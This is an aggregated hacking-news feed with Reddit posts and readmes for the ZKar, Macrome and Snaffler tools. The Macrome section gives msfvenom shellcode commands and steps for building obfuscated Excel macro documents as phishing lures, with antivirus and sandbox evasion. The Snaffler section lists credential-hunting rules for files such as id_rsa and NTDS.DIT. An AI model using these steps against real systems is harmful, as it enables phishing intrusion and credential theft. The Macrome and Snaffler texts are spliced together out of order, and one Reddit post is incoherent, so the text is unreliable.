hacking: security in practice
Which BadUSB to have?

Hello!

I'm searching for the best BadUSB to have. I understood that Rubber Ducky was still the leader in this domain, but I found they are overpriced. What about its alternative, such as Malduino, or about some from random on Aliexpress?

Also, would I be able to use Rubber Ducky's Payloads (as there are a lot already available) on other BadUSBs? If no, are there some existing easy converter?

Thanks!

submitted by /u/The-Malix
[link] [comments]

Zkar - A Java Serialization Protocol Analysis Tool Implement In Go
http://www.kitploit.com/2022/03/zkar-java-serialization-protocol.html

ZKar is a Java serialization protocol analysis (https://www.kitploit.com/search/label/Protocol%20Analysis) tool implement in Go. This tool is still work in progress, so no complete API document and contribution guide. ZKar provides: A Java serialization payloads parser and viewer in pure Go, no CGO or JDK is required From the Java serialization protocol to a Go struct A Go library that can manipulate the Java serialization data WIP: ysoserial (https://github.com/frohoff/ysoserial) implement in Go WIP: Java class bytecodes parser, viewer and manipulation WIP: An implementation of RMI/LDAP in Go
Installing Using ZKar is easy. use go get to install the ZKar along with the library and its dependencies: go get -u github.com/phith0n/zkar Next, use github.com/phith0n/zkar/* in your application: package main

import (
"fmt"
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)

func main() {
data, _ := ioutil.ReadFile("./testcases/ysoserial/CommonsCollections6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}

fmt.Println(serialization.ToString())
} Command line utility tool ZKar also provides a command line (https://www.kitploit.com/search/label/Command%20Line) utility tool that you can use it directly: $ go run main.go
NAME:
zkar - A Java serz tool

USAGE:
main [global options] command [command options] [arguments...]

COMMANDS:
generate generate Java serz attack payloads
dump parse the Java serz streams and dump the struct
help, h Shows a list of commands or help for one command

GLOBAL OPTIONS:
--help, -h show help (default: false) For example, you are able to dump the payload CommonsBeanutils3 from ysoserial like: $ go run main.go dump -f "$(pwd)/testcases/ysoserial/CommonsBeanutils3.ser"

Tests ZKar is a well-tested tool that passed all ysoserial generated gadgets parsing and rebuilding tests. It means that gadget generating by ysoserial can be parsed by ZKar, and parsed struts can be converted back into bytes string which is equal to the original one. Gadget Package Parse Rebuild Parse Time AspectJWeaver ysoserial ✅ ✅ 80.334µs BeanShell1 ysoserial ✅ ✅ 782.613µs C3P0 ysoserial ✅ ✅ 98.321µs Click1 ysoserial ✅ ✅ 573.298µs Clojure ysoserial ✅ ✅ 72.415µs CommonsBeanutils1 ysoserial ✅ ✅ 461.15µs CommonsCollections1 ysoserial ✅ ✅ 64.484µs CommonsCollections2 ysoserial ✅ ✅ 508.918µs CommonsCollections3 ysoserial ✅ ✅ 564.071µs CommonsCollections4 ysoserial ✅ ✅ 535.449µs CommonsCollections5 ysoserial ✅ ✅ 137.609µs CommonsCollections6 ysoserial ✅ ✅ 68.753µs CommonsCollections7 ysoserial ✅ ✅ 178.549µs FileUpload1 ysoserial ✅ ✅ 35.39µs Groovy1 ysoserial ✅ ✅ 150.991µs Hibernate1 ysoserial ✅ ✅ 789.674µs Hibernate2 ysoserial ✅ ✅ 168.624µs JBossInterceptors1 ysoserial ✅ ✅ 632.581µs JRMPClient ysoserial ✅ ✅ 32.967µs JRMPListener ysoserial ✅ ✅ 38.263µs JSON1 ysoserial ✅ ✅ 2.157225ms JavassistWeld1 ysoserial ✅ ✅ 468.596µs Jdk7u21 ysoserial ✅ ✅ 355.01µs Jython1 ysoserial ✅ ✅ 216.862µs MozillaRhino1 ysoserial ✅ ✅ 1.775193ms MozillaRhino2 ysoserial ✅ ✅ 409.124µs Myfaces1 ysoserial ✅ ✅ 22.997µs Myfaces2 ysoserial ✅ ✅ 38.131µs ROME ysoserial ✅ ✅ 485.804µs Spring1 ysoserial ✅ ✅ 797.469µs Spring2 ysoserial ✅ ✅ 358.041µs URLDNS ysoserial ✅ ✅ 21.502µs Vaadin1 ysoserial ✅ ✅ 438.729µs Wicket1 ysoserial ✅ ✅ 23.509µs Jdk8u20 pwntester ❌ ❌ 312.882µs JDK/JRE 8u20 gadget (https://github.com/pwntester/JRE8u20_RCE_Gadget) is not supported now, I am current working on it. TODO Java bytecodes parser and generator JDK/JRE 8u20 Gadget supporting Serialization (https://www.kitploit.com/search/label/Serialization) payloads generator An implementation of RMI/LDAP in Go License ZKar is released under the MIT license. See LICENSE (https://github.com/phith0n/zkar/blob/master/LICENSE) See Also SerializationDumper (https://github.com/NickstaDB/SerializationDumper): A tool to dump and rebuild Java serialization streams and Java RMI packet contents in a more human readable form. ysoserial (https://github.com/frohoff/ysoserial): A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Java-Deserialization-Cheat-Sheet (https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): The cheat sheet about Java Deserialization (https://www.kitploit.com/search/label/Deserialization) vulnerabilities

Download Zkar (https://github.com/phith0n/zkar)

Looking for experiences on applying and working on an international fully remote penetration testing job
https://www.reddit.com/r/Pentesting/comments/topsv8/looking_for_experiences_on_applying_and_working/

<!-- SC_OFF -->[Looking for experiences on applying and working on an international fully remote penetration testing job] i live in a country where salary is not that great so i need to earn more money for myself. so i am thinking of getting a second job (can be full time or part time) that is international fully remote penetration testing job.. i need it to be international and fully remote since the conversion rates are a big thing.. small salary in a 1st world country would be converted to a pretty large amount of money in our country if i can get a part time work, then i will still be having my full time work here in my current company, but if i get a full time international fully remote work, then i would probably work part time in my current company here are some of my details i am currently a junior penetration tester at some company here in our country for 2months now i did not graduate from a computer science / computer engineering / IT / or any computer related course i do not have any cyber security or penetration testing certifications , even just basic ones since they are very expensive ( i know that an ejpt for example is just 200 USD which is probably cheap for some of you, but it is a big amount of money here in our country) i know that what i want is a long shot but i still want to know requirements for a international fully remote penetration testing job maybe you could share your experience to help me on what i want to accomplish thank you <!-- SC_ON --> submitted by /u/darkalimdor18 (https://www.reddit.com/user/darkalimdor18)
[link] (https://www.reddit.com/r/Pentesting/comments/topsv8/looking_for_experiences_on_applying_and_working/) [comments] (https://www.reddit.com/r/Pentesting/comments/topsv8/looking_for_experiences_on_applying_and_working/)

Kali Linux Tutorials
Macrome : Excel Macro Document Reader/Writer For Red Teamers And Analysts

Macrome an Excel Macro Document Reader/Writer for Red Teamers & Analysts. Blog posts describing what this tool actually does can be found here and here. Installation / BuildingClone or download this repository, the tool can then be executed using dotnet – for example:

dotnet run — build –decoy-document Docs\decoy_document.xls –payload Docs\popcalc.bin

or

dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate –path obfuscated_document.xls

Note that a 5.0+ build of dotnet is required for this to work as configured – it can be grabbed from https://dotnet.microsoft.com/download/dotnet/5.0.

Binary releases of the tool that do not require dotnet and contain an executable binary can be found in the Release section for Windows, OSX, and Linux. UsageRun Macrome by either using dotnet runfrom the solution directory, or dotnetagainst the built Macrome binary. There are three modes of operation for Macrome – Build mode, Dump mode, and Deobfuscation mode. Build ModeRun Macrome with the buildcommand in order to generate an Excel document containing an obfuscated macro sheet using a provided decoy document and macro payload. dotnet Macrome.dll build -hwill display full usage instructions.

For example, to build a document using decoy document path/to/decoy_document.xlsand binary x86 shellcode stored at path/to/shellcode.bin, run dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. This will generate an XLS 2003 document which after being opened and having the “Enable Content” button pressed, will execute the shellcode of shellcode.bin. How SHOULD I run this?The rest of the documentation will explain each flag/function in detail, but right now the “latest & greatest” that Macrome has to offer can be obtained by running:

Macrome build –decoy-document decoy_document.xls –payload beacon.bin –payload64-bit beacon64.bin –payload-method Base64 –method ArgumentSubroutines –password VelvetSweatshop –preamble preamble.txt –output-file-name ReadyToPhish.xls Binary Payload UsageFirst generate a base “decoy” Excel document that will contain content users should see. This should be some sort of lure that convinces users to click the “Enable Macros” button displayed in Excel. There’s some examples of the “latest and greatest” lure creation at https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Once this sheet is created, save the document as type Excel 97-2003 Workbook (*.xls)rather than the newer Excel Workbook (*.xlsx)format. An example decoy document is included in /Docs/decoy_document.xls. Note that if you are using XOR Obfuscation to protect your document, you currently CANNOT add an image to your decoy.

Next, generate a shellcode payload to provide to the tool. The example binary payload (which pops calc) was generated using msfvenomusing the following parameters:

msfvenom -a x86 -b ‘\x00’ –platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin

64 bit payloads are also supported. The example 64-bit payload, popcalc64.bin, was generated using the command:

msfvenom -a x64 -b ‘\x00’ –platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin

This payload can then be embedded by executing the command:

dotnet Macrome.dll build –decoy-document decoy_document.xls –payload popcalc.bin –payload64-bit popcalc64.bin

Currently 64-bit payloads will require that an x86 payload is also provided. If this isn’t an issue, you can just specify garbage for the x86 payload flag.

There is eventual support for embedding .NET assemblies directly i[...]

Kali Linux Tutorials
Snaffler : A Tool For Pentesters To Help Find Delicious Candy

Snaffler is a tool for pentesters to help find delicious candy needles (creds mostly, but it’s flexible) in a bunch of horrible boring haystacks (a massive Windows/AD environment).

It might also be useful for other people doing other stuff, but it is explicitly NOT meant to be an “audit” tool. What does it do?Broadly speaking – it gets a list of Windows computers from Active Directory, then spreads out its snaffly appendages to them all to figure out which ones have file shares, and whether you can read them.

Then YET MORE snaffly appendages enumerate all the files in those shares and use LEARNED ARTIFACTUAL INTELLIGENCE for MACHINES to figure out which ones a grubby little hacker like you might want.

Actually it doesn’t do any ML stuff (yet), because doing that right would require training data, and that would require an enormous amount of time that we don’t have. What does it look like?Like this! (mostly, this screenshot is a few versions old now)
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhysRfkuq7X8s1EfVQoL2ZFkeWe2fcw69gwYBgtl1GEA2bmjCUY2SITaVNx1fSwSTq6KfzakMawTmRlQS7qBTTel3O1dIlZhB4YV3QIbvyzg0wpX8hGC0mXP5dNgO1XU1HkzuAKh1IcnW9WMjoXx_r6qDSLGM5iOgEE6donlqPkDJQI6rpHOwY1_Wy5/s958/1.png How do I use it?If you “literally just run the EXE on a domain joined machine in the context of a domain user” (as people were instructed to do with Grouper2, immediately before they ran it with all the verbose/debug switches on so it screamed several hundred megabytes of stack traces at them) it will basically do nothing. This is our idea of a prankTM on people who don’t read README files, because we’re monsters.

HOWEVER… if you add the correct incantations, it will enable the aforementioned L.A.I.M. and the file paths where candy may be found will fall out.

The key incantations are: -oEnables outputting results to a file. You probably want this if you’re not using -s. e.g. -o C:\users\thing\snaffler.log-sEnables outputting results to stdout as soon as they’re found. You probably want this if you’re not using -o. -vControls verbosity level, options are Trace (most verbose), Degub (less verbose, less gubs), Info (less verbose still, default), and Data (results only). e.g -v debug-mEnables and assigns an output dir for snaffler to automatically take a copy of (or Snaffle… if you will) any found files that it likes. -lMaximum size of files (in bytes) to Snaffle. Defaults to 10000000, which is about 10MB. -iDisables computer and share discovery, requires a path to a directory in which to perform file discovery. -nDisables computer discovery, takes a comma-separated list of hosts to do share and file discovery on. -yTSV-formats the output. -bSkips the LAIM rules that will find less-interesting stuff, tune it with a number between 0 and 3. -fLimits Snaffler to finding file shares via DFS (Distributed File System) – this should be quite a bit sneakier than the default while still covering the biggest file shares in a lot of orgs. -aSkips file enumeration, just gives you a list of listable shares on the target hosts. -uMakes Snaffler pull a list of account names from AD, choose the ones that look most-interesting, and then use them in a search rule. -dDomain to search for computers to search for shares on to search for files in. Easy. -cDomain controller to query for the list of domain computers. -rThe maximum size file (in bytes) to search inside for interesting strings. Defaults to 500k. -jHow many bytes of context either side of found strings in files to show, e.g. -j 200-zPath to a config file that defines all of the a[...]

n the document, but if you want to do that right now I’d suggest using EXCELntDonut.

As of the Macrome 0.5.0 and above, all payloads will be encoded with base64, so your payload will be able to contain any byte sequence (including null bytes). Embedding ExecutablesIf you want to embed a .NET executable using Macrome, I suggest using Donut with the command donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, and then embedding the resulting payload as both your 32-bit and 64-bit payloads.

Another solid alternative is Amber which has worked great for embedding some pretty sizable Go binaries. Legacy Payload EncodingIf for some reason you want to use the legacy payload encoding mode from pre-Macrome 0.5.0, use the --payload-methodflag with SheetPackingMethod. Note that in the legacy mode using a majority alpha-numeric payload will reduce the size of the macro file generated since it’s easier to express letters and numbers in macro form instead of appending CHARfunction invocations repeatedly like =CHAR(123)&CHAR(124)&CHAR(125)...etc. But the tool should be able to handle a completely unprintable binary payload as well. Macro Payload UsageSimilar to binary payload usage, a decoy document must first be generated. Next, a text file containing the macros to run should be created. Macros should have columns separated by ;characters and rows separated by newlines. Currently the content of macros specified will be written and executed beginning at A1 – though future support will be added to allow specifying the start location. Example macros can be found in /Docs/macro_example.txtand /Docs/multi_column_macro_example.txt.

Finally run the command:

dotnet Macrome.dll build –decoy-document decoy_document.xls –payload macro-example.txt –payload-type Macro

Note the usage of the payload-typeflag set to Macro.

You can generate a macro yourself, or you can use the wonderful EXCELntDonut tool to create a macro for you. Encoding Method SelectionThese will be detailed in an upcoming blog post, but Macrome can now encode macro payloads in three different ways. Most of these are still undetected by any AV – but experiment with your payloads to see what works best.

* CharSubroutine – Replaces the use of repeated CHAR() functions by creating a subroutine at a random cell, and then invoking it by using a long chain of IFand SET.NAMEfunctions. This is something that hasn’t been abused by prominent maldoc authors yet, so it’s unlikely to ping on AV for now.
* ObfuscatedCharFunc – The original Macrome encoding function. Invoke CHAR() but append it to a random empty cell and wrap the value in a ROUNDfunction.
* ObfuscatedCharFuncAlt – A slight variation on the original encoding, instead of using a PtgFunc to invoke CHAR, we use a PtgFuncVar – this breaks most signatures that try to count CHAR invocations.
* AntiAnalysisCharSubroutine – Same as CharSubroutine but variables being passed to the subroutine are obfuscated using Unicode shenanigans as described here. Note that this will generate a larger document than CharSubroutine mode due to the addition of decoy variable names.
* ArgumentSubroutines – Creates a custom subroutine for CHAR() and FORMULA(), invokes them as custom functions, and parses the arguments using the ARGUMENT() macro which is less supported by emulators.

Specify an encoding by using the methodflag when building – for example, to use the CharSubroutine encoder:

dotnet Macrome.dll b –decoy-document decoy_document.xls –method CharSubroutine –payload popcalc.bin –output-file-name CharSubroutine-Macro.xls Preamble MacrosSometimes you may want certain macros to run BEFORE the payload code does. This is helpful for when you’re adding macros for sandbox evasion and/or verifying that your payload is running on the correct host.

[...]

bove, and much much more! See below for more details. Give it -z generateto generate a sample config file called .\default.toml. What does any of this log output mean?This log entry should be read roughly from left to right as:

* at 7:37ish
* Snaffler found a file it thinks is worth your attention
* it’s rated it “Red”, the second most-interesting level
* it matched a rule named “KeepConfigRegexRed”
* you can read it, but not modify it
* the exact regex that was matched is that stuff in the red box
* it’s 208kB
* it was last modified on January 10th 2020 at quarter-to-four in the afternoon.
* the file may be found at the path in purple

… and the rest of the line (in grey) is a little snippet of context from the file where the match was.

In this case we’ve found ASP.NET validationKey and decryptionKey values, which might let us RCE the web app via some deserialisation hackery. Hooray! How does it decide which files are good and which files are boring?The simple answer:Each L.A.I.M. magic file finding method does stuff like:

* Searching by exact file extension match, meaning that any file with an extension that matches the relevant wordlist will be returned. This is meant for file extensions that are almost always going to contain candy, e.g. .kdbx, .vmdk, .ppk, etc.

* Searching by (case insensitive) exact filename match. This is meant for file names that are almost always going to contain candy, e.g. id_rsa, shadow, NTDS.DIT, etc.
* Searching by exact file extension match (yet another wordlist) FOLLOWED BY ‘grepping’ the contents of any matching files for certain key words (yet yet another another wordlist). This is meant for file extensions that sometimes contain candy but where you know there’s likely to be a bunch of chaff to sift through. For example, web.configwill sometimes contain database credentials, but will also often contain boring IIS config nonsense and no passwords. This will (for example) find anything ending in .config, then will grep through it for strings including but not limited to: connectionString, password, PRIVATE KEY, etc.
* Searching by partial filename match (oh god more wordlists). This is mostly meant to find Jeff's Password File 2019 (Copy).docxor Privileged Access Management System Design - As-Built.docxor whatever, by matching any file where the name contains the substrings passw, handover, secret, secure, as-built, etc.
* There’s also a couple of skip-lists to skip all files with certain extensions, or any file with a path containing a given string. The real answer:Snaffler uses a system of ‘classifiers’, which allow the end-user (you) to define (relatively) simple rules that can be combined and strung together and mangled however you see fit. It comes with a set of default classifiers, which you can see by either looking at the code or by having a look at the config file created by -z generate, so the best place to start with making your own is to edit those.

The defaults don’t have any rules that will look inside Office docs and PDFs, but you can see some examples in SnaffCore/DefaultRules/FileContentRules.cs that have been commented out. Just uncomment those before you compile and edit the regexen to suit your requirements. Be warned, this is a lot slower than looking inside good old fashioned text files, and a typical environment will have an absolute mountain of low-value Office docs and PDFs.

Here’s some annotated examples that will hopefully help to explain things better. If this seems very hard, you can just use our rules and they’ll probably find you some good stuff.

This is an example of a rule that will make Snaffler ignore all files and subdirectories below a dir with a certai[...]

The format for preamble files is exactly the same as when using payload-typeMacro, but it only supports a single column. For example, you could have a preamble of:

=IF(GET.WORKSPACE(13)<770,
=IF(GET.WORKSPACE(14)<390,
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))

This would check for screen resolution values, the presence of a mouse, and the ability to play sound. If any of these failed, then the app would close before running the main payload content.

Additionally, if you would like a preamble macro to evaluate IMMEDIATELY, rather than after unpacking the rest of the macros, you can preface a command with %%%%%. For example:

%%%%%=IF(GET.WORKSPACE(13)<770,
%%%%%=IF(GET.WORKSPACE(14)<390,
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())

This is helpful for minimizing the number of XLM commands run before killing the document and can be helpful for more immediate reactions to the presence of sandbox indicators. XOR Obfuscation Password ProtectionMacrome 0.3.0+ support password protecting of documents using XOR Obfuscation, a legacy encryption mode from MUCH older versions of Office. This encryption mode is often unsupported by IR tooling and can help protect document content against inspection.

Excel has a “default” password of VelvetSweatshop, which will allow you to encrypt the document content while still making the document automatically decrypt when opened. This is the “ideal” way to use XOR Obfuscation in an offensive context. Macrome will automatically attempt to use this password when deobfuscating or dumping a document.

To use this functionality, simply add --password <passwordtoencryptto your build command. Dump ModeRun Macrome with the dumpcommand to print the most relevant BIFF8 records for arbitrary documents. This functionality is similar to olevba’s macro dumping functionality, but it has some more complete processing of edge-case Ptg entries to help make sure that the format is as close to Excel’s actual FORMULA entries as possible. This is what I’ve been using to debug some of the weird edge case documents I’ve been generating while making this tool, so it’s comparably robust. I’m sure there’s tons of edge cases that are not supported right now though, so if you find a document that it doesn’t properly dump the content of, please open an issue and share the document as a zip file.

The dump command only requires a pathargument pointing at the target file. An example invocation is:

dotnet Macrome.dll dump –path docToDump.xls

Most of the flags that the dumpcommand are for debugging, but the dump-hex-bytesmay be useful for users who want to see the individual byte payloads for relevant records. This is similar functionality of BiffView, though only maldoc specific entries will be displayed by default. Deobfuscate ModeRun Macrome with the deobfuscatecommand to take an obfuscated XLS Binary document and attempt to reverse several anti-analysis behaviors. dotnet Macrome.dll deobfuscate -hwill display full usage instructions. Currently, by default this mode will:

* Unhide all sheets regardless of their hidden status
* Normalize the manually specified labels for all Lblentries which Excel will interpret as Auto_Open entries despite their name not matching that string.

For example, to deobfuscate a malicious XLS 2003 macro file at path/to/obfuscated_file.xls, run dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. This will generate a copy of the obfuscated file which will be easier to analyze manually or with tools.

NOTE: This doesn’t do very much yet, it’s mainly meant to demonstrate how using the modified b2xtranslator library can help automate deobfuscation. More useful features are coming soon. Download

n name.

[[Classifiers]]
EnumerationScope = “DirectoryEnumeration” # This defines which phase of the discovery process we’re going to apply the rule.
# In this case, we’re looking at directories.
# Valid values include ShareEnumeration, DirectoryEnumeration, FileEnumeration, ContentsEnumeration
RuleName = “DiscardFilepathContains” # This can be whatever you want. We’ve been following a rough “MatchAction, MatchLocation,
# MatchType” naming scheme, but you can call it “Stinky” if you want. ¯_(ツ)_/¯
MatchAction = “Discard” # What to do with things that match the rule. In this case, we want to discard anything that matches this rule.
# Valid options include: Snaffle (keep), Discard, Relay (example of this below), and CheckForKeys (example below).
MatchLocation = “FilePath” # What part of the file/dir/share to look at to check for a match. In this case we’re looking at the whole path.
# Valid options include: ShareName, FilePath, FileName, FileExtension, FileContentAsString, FileContentAsBytes,
# although obviously not all of these will apply in all EnumerationScopes.
WordListType = “Contains” # What matching logic to apply, valid options are: Exact, Contains, EndsWith, StartsWith, or Regex.
WordList = [“winsxs”, “syswow64”] # A list of strings or regex patterns to use to match. If using regex matterns, WordListType must be Regex.
Triage = “Green” # If we find a match, what severity rating should we give it. Valid values are Black, Red, Yellow, Green. Gets ignored for Discard anyway.

This rule on the other hand will look at file extensions, and immediately discard any we don’t like.

In this case I’m mostly throwing away fonts, images, CSS, etc.

[[Classifiers]]
EnumerationScope = “FileEnumeration” # We’re looking at the actual files, not the shares or dirs or whatever.
RuleName = “DiscardExtExact” # just a name
MatchAction = “Discard” # We’re discarding these
MatchLocation = “FileExtension” # This time we’re only looking at the file extension part of the file’s name.
WordListType = “Exact” # and we only want exact matches.
WordList = [“.bmp”, “.eps”, “.gif”, “.ico”, “.jfi”, “.jfif”, “.jif”, “.jpe”, “.jpeg”, “.jpg”, “.png”, “.psd”, “.svg”, “.tif”, “.tiff”, “.webp”, “.xcf”, “.ttf”, “.otf”, “.lock”, “.css”, “.less”] # list of file extensions.

Here’s an example of a really simple rule for stuff we like and want to keep.

[[Classifiers]]
EnumerationScope = “FileEnumeration” # Still looking at files
RuleName = “KeepExtExactBlack” # Just a name
MatchAction = “Snaffle” # This time we are ‘snaffling’ these. This usually just means send it to the UI,
# but if you turn on the appropriate option it will also grtab a copy.
MatchLocation = “FileExtension” # We’re looking at file extensions again
WordListType = “Exact” # With Exact Matches
WordList = [“.kdbx”, “.kdb”, “.ppk”, “.vmdk”, “.vhdx”, “.ova”, “.ovf”, “.psafe3”, “.cscfg”, “.kwallet”, “.tblk”, “.ovpn”, “.mdf”, “.sdf”, “.sqldump”] # and a bunch of fun file extensions.
Triage = “Black” # these are all big wins if we find them, so we’re giving them the most severe rating.

This one is basically the same, but we’re looking at the whole file name. Simple!

[[Classifiers]]
EnumerationScope = “FileEnumeration”
RuleName = “KeepFilenameExactBlack”
MatchAction = “Snaffle”
MatchLocation = “FileName”
WordListType = “Exact”
WordList = [“id_rsa”, “id_dsa”, “NTDS.DIT”, “shadow”, “pwd.db”, “passwd”]
Triage = “Black”

This one is a bit nifty, check this out…

[[Classifiers]]
EnumerationScope = “FileEnumeration” # we’re looking for files…
RuleName = “KeepCertContainsPrivKeyRed”
MatchLocation = “FileExtension” # specifically, ones with certain file extensions…
WordListType = “Exact”
WordList = [“.der”, “.pfx”] # specifically these ones…
MatchAction = “CheckForKeys” # and any that we find, we’re going to parse them as x509 certs, and see if the file includes a private key!
Triage = “Red” # cert files aren’t very sexy, and you’ll get huge numbers of them in most wintel environments, but this che[...]

ck gives us a way better SNR!

OK, here’s where the REALLY powerful stuff comes in. We got a pair of rules in a chain here.

Files with extensions that match the first rule will be sent to second rule, which will “grep” (i.e. String.Contains()) them for stuff in a specific wordlist.

You can chain these together as much as you like, although I imagine you’ll start to see some performance problems if you get too inception-y with it.

[[Classifiers]]
EnumerationScope = “FileEnumeration” # this one looks at files…
RuleName = “ConfigGrepExtExact”
MatchLocation = “FileExtension” # specifically the extensions…
WordListType = “Exact”
WordList = [“.yaml”, “.xml”, “.json”, “.config”, “.ini”, “.inf”, “.cnf”, “.conf”] # these ones.
MatchAction = “Relay” # Then any files that match are handed downstream…
RelayTarget = “KeepConfigGrepContainsRed” # To the rule with this RuleName!

[[Classifiers]]
RuleName = “KeepConfigGrepContainsRed” # which is this one! This is why following a naming convention really helps.
EnumerationScope = “ContentsEnumeration” # this one looks at file content!
MatchAction = “Snaffle” # it keeps files that match
MatchLocation = “FileContentAsString” # it’s looking at the contents as a string (rather than a byte array)
WordListType = “Contains” # it’s using simple matching
WordList = [“password=”, ” connectionString=\””, “sqlConnectionString=\””, “validationKey=”, “decryptionKey=”, “NVRAM config last updated”]
Triage = “Red” Who did you steal code from?The share enumeration bits were snaffled (see what I did there?) from SharpShares, which was written by the exceedingly useful Dwight Hohnstein. (https://github.com/djhohnstein/SharpShares/) Dwight’s GitHub profile is like that amazing back aisle at a hardware store that has a whole bunch of tools that make you go “oh man I can’t wait til I have an excuse to try this one for realsies…” and you should definitely check it out.

While no code was taken (mainly cos it’s Ruby lol) we did steal a bunch of nifty ideas from plunder2(http://joshstone.us/plunder2/)

Wordlists were also curated from those found in some other similar-ish tools like trufflehog, shhgit, gitrobber, and graudit. Download

hacking: security in practice
You can probably fry electronics using focused attacks

I told the White House and a stupid kid that used to goto school with me found out and he works at a major Bay Area cable station and he released a virus to fry electronics until they kill me and my family, all over me talking to jon Stewart

Anyways try multithreaded loops, how it’s fixed? No one knows, but you can melt solder

submitted by /u/m0rph1ne_
[link] [comments]

hacking: security in practice
Neighbors left their ring cameras

My neighbor’s installed ring camera equipped flood lights and moved out. I know the new tenants and they have no intention of making use of the cameras. There is a wifi network named “Ring Setup cf” available totally unsecured. How easy would it be for a nosey neighbor or law enforcement to make use of these cameras? I’m not asking anyone to help me do this. I just want to know how vulnerable and likely is it that this camera can be viewed by others?

submitted by /u/sleepy_xia
[link] [comments]

Your Guide To JWT Attacks
https://medium.com/@omarwhadidi9/your-guide-to-jwt-attacks-ce44b55dd3f?source=rss------bug_bounty-5

this is a detailed blog on JWT attacks with some source code ReviewContinue reading on Medium » (https://medium.com/@omarwhadidi9/your-guide-to-jwt-attacks-ce44b55dd3f?source=rss------bug_bounty-5)

Hacking on Medium
HTB [Secret]

https://cdn-images-1.medium.com/max/1208/1*ar2tmRiraI5HJKX7a5uwKQ.png
Secret is a box on the Hack the Box platform ranked as Easy. Although the path to user and the foothold is relatively straightforward…

Continue reading on Medium »